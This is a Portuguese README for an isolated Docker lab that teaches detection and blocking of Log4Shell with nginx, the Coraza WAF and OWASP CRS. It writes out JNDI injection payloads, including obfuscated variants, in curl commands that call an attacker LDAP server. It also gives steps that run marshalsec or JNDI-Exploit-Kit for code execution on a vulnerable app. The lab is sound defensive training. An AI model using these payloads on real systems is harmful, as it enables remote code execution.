
Laboratório de defesa contra Log4Shell (CVE-2021-44228) — nginx + módulo dinâmico Coraza WAF + OWASP CRS v4. Uso educacional apenas.
Propósito educacional/defensivo: este laboratório contém um aplicativo intencionalmente vulnerável (Log4j 2.14.1) e um kit de exploit JNDI, APENAS para aprender a detectar e bloquear Log4Shell em ambiente isolado. Não implantar na Internet, não usar para atacar sistemas que não lhe pertencem.
Lab prático de defesa contra Log4Shell (CVE-2021-44228) usando nginx integrado com Coraza WAF (módulo dinâmico) + OWASP CRS v4 + conjunto de regras customizadas JNDI. Acompanham o container target Spring Boot vulnerável, attacker-box Kali, e Suricata + Wazuh para observação.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, tem o módulo Coraza + CRS v4
│ ├── attacker-box ← Kali + kits de exploit JNDI
│ └── suricata-ids ← fareja o tráfego da dmz
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← segunda NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Request flow: client → nginx (Coraza inspect) → log4shell-app. O WAF roda dentro do nginx (através do módulo ngx_http_coraza_module.so), não é um container separado.
| Item | Versão mínima |
|---|---|
| Docker Desktop / Engine | 24+ com Compose v2 |
| RAM livre | 4 GB (Wazuh consome ~1.5 GB) |
| Disco livre | 6 GB (artefatos de build das imagens) |
| Tempo do primeiro build | 10–15 minutos (libcoraza + módulo nginx + ferramentas Maven do atacante) |
cd /path/to/log4shell-nginx-coraza
docker compose build
A etapa mais lenta é nginx (build da libcoraza v1.4.0 com Go 1.25, depois compilar o módulo coraza-nginx). Fica em cache após a primeira vez.
docker compose up -d
docker compose ps
Após ~30s, status esperado:
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# através do WAF até o app (endpoint real do log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ sem o header X-Api-Version retorna 400 — é o whitelabel error do Spring Boot (sem handler), não é bloqueio do WAF.
# JNDI no User-Agent → regra 1910010 dispara, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI no header que o app loga: X-Api-Version → regra 1910001 (header+arg) dispara, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI na query string → CRS phase 1 bloqueia
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Esperado: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (regra 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (regra 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (regra 1910026: Content-Type=json + body contém jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Cada evento JSON Lines contém:
transaction.is_interrupted: true → WAF bloqueoumessages[].error_message → qual regra disparou, arquivo e linha, severidadedocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtrar bloqueios:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Por padrão,
backend-netestá cominternal: trueeattacker-boxestá apenas emdmz-net, portanto o log4shell-app NÃO alcança o attacker-box. Para a cadeia JNDI funcionar de ponta a ponta, faça o Passo 6.0 antes.
Edite docker-compose.yml, adicione attacker-box a backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— adicionar
Ou mova o log4shell-app para dmz-net (mais simples, mas reduz o valor educacional sobre segmentação):
log4shell-app:
networks:
- backend-net
- dmz-net # <— adicionar
Aplicar: docker compose up -d (o Compose recria apenas esse container).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — simples, apenas relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — toolkit completo, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
O servidor escuta em LDAP :1389 e HTTP :8888 (expostos para o host no compose).
# A partir do attacker-box, chamar o log4shell-app diretamente na backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Verificar:
# Marcador pwned criado dentro do container do app
docker exec victim-app ls -la /tmp/pwned
Se o arquivo existir → a cadeia de exploit está OK, o app continua vulnerável, e o WAF NÃO é bypassado quando o tráfego passa pelo caminho principal.
# Passando pelo nginx (caminho público principal)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NENHUM novo /tmp/pwned
O arquivo ./coraza/config/log4shell-rules.conf é montado :ro no nginx em /etc/nginx/coraza/log4shell-rules.conf. Depois de editar:
docker exec nginx-proxy nginx -t # verificação de sintaxe
docker exec nginx-proxy nginx -s reload
Se o Coraza acusar erro de parsing (failed to compile the directive...), os workers saem e nginx -s reload não consegue recriá-los. Nesse caso:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Ordem dos includes (em nginx/coraza/main.conf, embutido na imagem):
SecRuleEngine On, audit log, debug logcrs-setup.conf — inicializa tx.*_anomaly_score, limiaresowasp-crs/rules/*.conf — todo o CRS v4.7.0log4shell-rules.conf — regras customizadas (montadas a partir do host)Faixa de IDs das regras customizadas: 1910001 – 1910999 (evita a faixa do CRS 900000–999999).
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW são inválidos.IP:, SESSION:, RESOURCE:) não funcionam sem configurar um backing store. Use tx. para por-request ou faça rate-limit via nginx limit_req_zone.(unhealthy) / curl localhost penduradodocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
Normalmente causado por regra nova com sintaxe errada → todos os workers saem com código 2. Corrija a regra e execute docker compose restart nginx.
failed to create WAF: ... unknown severity: HIGHTroque severity:'HIGH' → severity:'ERROR' na regra customizada.
failed to compile the directive "secrule": invalid arguments, expected collection TXA regra está usando setvar:ip.xxx ou referenciando IP:something / TX:NEVER_DECLARED. Remova a coleção persistente ou consolide a lógica em uma única chain rule.
Exited (1)A imagem jasonish/suricata:latest tem entrypoint próprio e o yaml montado a partir de ./suricata/config/ pode ser incompatível com a versão da imagem. Solução rápida: comente temporariamente o serviço suricata no compose; o lab continua funcionando normalmente (não precisa de IDS para o Coraza funcionar). Para corrigir definitivamente, substitua suricata.yaml pelo default da imagem (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
A imagem base é Alpine 3.8 EOL. Garanta que o command no compose seja ["java", "-jar", "/app/spring-boot-application.jar"] (SEM apk add iptables — o repositório do Alpine 3.8 está 404).
http://localhost:5601Wazuh manager + dashboard precisam de wazuh-indexer (OpenSearch) para funcionar plenamente. A stack atual não tem esse serviço — o dashboard inicia, mas o login falha. Para quando precisar de verdade, adicione o serviço wazuh-indexer conforme o compose oficial.
# Parar + remover containers, mantendo o cache de imagens
docker compose down
# Nuke completo (incluindo volumes do Wazuh, forçando rebuild na próxima)
docker compose down -v
# Remover também as imagens de build (libera ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; em http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # engine config + Include CRS + custom
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # regras customizadas JNDI, montadas :ro no nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # pontos de montagem para nginx, coraza, app, suricata, wazuh
| Range | Responsabilidade | Coincide com range do CRS? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval) | (pertence ao CRS) |
| 1910000–1910999 | Regras customizadas Log4Shell | Não |
Todos os IDs das regras customizadas atuais: 1910001–1910008 (padrões JNDI), 1910010–1910014 (por header), 1910015 (protocolos alternativos), 1910020 (detecção de scanning), 1910026 (chain de corpo JSON), 1910028 (chain de corpo XML), 1910030 (paranoia 3), 1910999 (echo de avaliação de anomalia).
Fim: se o lab chegar ao Passo 4, o WAF já está funcionando. O Passo 6 só é necessário quando quiser demonstrar a cadeia de exploit completa de ponta a ponta.
| Service | STATUS |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | pode estar Restarting (veja a seção 8 — não bloqueia o lab) |
TX:VARNAME só pode referenciar variáveis com setvar na mesma request. Se a regra estiver em outra fase, considere agregar em uma chain rule.